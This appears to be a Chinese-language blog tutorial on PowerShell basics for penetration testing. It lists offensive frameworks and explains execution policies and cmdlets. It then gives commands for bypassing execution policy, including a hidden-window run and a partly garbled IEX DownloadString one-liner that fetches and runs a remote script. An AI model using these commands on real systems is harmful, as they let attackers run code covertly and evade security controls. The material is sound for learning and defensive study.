PowerShell基础

PowerShell攻击工具有以下几种:
1.PowerSploit
2.NiShang
3.Empire
4.PowerCat
PowerShell简介:
攻击者在一台计算机上运行代码,他们就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写到磁盘中执行,它可以直接在内存中运行,也可以把PowerShell看作命令行提示符cmd.exe的扩充,PowerShell需要.NET环境的支持
PowerShell优点:
1.windows7以上的操作系统默认安装
2.PowerShell脚本可以运行在内存中,不需要写入磁盘
3.可以从另一个系统中下载PowerShell脚本并执行
4.目前很多工具都是基于PowerShell开发的
5.很多安全软件并不能检测到PowerShell的活动
6.cmd.exe通常会被阻止运行,但是PowerShell不会
7.可以用来管理活动目录
查看PowerShell版本
命令:Get-Host
在这里插入图片描述
PowerShell基本概念:
1.PS1
一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名
2.执行策略
为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设为受限。
在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
1.Get-ExecutionPolicy
2.Restricted:脚本不能运行(默认设置)
3.RemoteSigned:本地创建的脚本可以执行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
4.AllSigned:仅当脚本由受信任的发布者签名时才能运行
5.Unrestricted:允许所有的script运行
也可以使用如下cmdlet命令设置PowerShell的执行策略:
Set-ExecutionPolicy
3.运行脚本
运行一个PowerShell脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1脚本,可以键入C:\Scripts\a.ps1。最大的例外是,如果PowerShell脚本文件刚好位于你的系统目录中,那么在命令提示符后直接键入文件名即可运行,如.\a.ps1的前面加入“.\”,这和在Linux下执行shell脚本的方法一样。
4.管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接
举一个例子来看下管道是如何工作的,假设停止所有目前运行中的,以“p”字符开头命名的程序,命令如下所示。
Get-process p* | stop-process
PowerShell基本知识:
新建目录:New-Item whitecellclub-ItemType Directory
新建文件:New-Item light.txt-ItemType File
删除目录:Remove-Item whitecellclub
显示文件内容:Get-Content test.txt
设置文本内容:Set-Content.txt-Value”hell,world!”
追加内容:Add-Content light.txt-Value”i love you”
清除内容:Clear-Content test.txt
PowerShell脚本程序运行:
条件:1.管理员权限
2.将Restricted策略改成Unrestricted
绕过策略执行脚本的方法:
1.绕过本地权限执行
命令:PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
要求:创建一个test.ps1脚本文件并运行
不绕过情况下演示:
在这里插入图片描述
绕过情况下演示:
在这里插入图片描述
这里特别注意路径,为了方便之后的演示我将此目录下移入一个powershell.exe,因此再次演示:
在这里插入图片描述
同样成功

2.本地隐藏绕过权限执行脚本
命令:PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
要求:创建一个test1.ps1脚本文件并运行
绕过情况下演示:
在这里插入图片描述
3.用IEX下载远程PSI脚本绕过权限执行
命令:PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-Obje
ctNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]

以上命令的参数说明:
ExecutionPolicy Bypass : 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden : 隐藏窗口
NoLogo : 启动不显示版权标志的PowerShell
NonInteractive (-Nonl) : 非交互模式,PowerShell不为用户提供交互的提示
NoProfile (-Nop): PowerShell控制台不加载当前用户的配置文件
Noexit : 执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
PowerShell脚本在默认情况下无法直接运行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值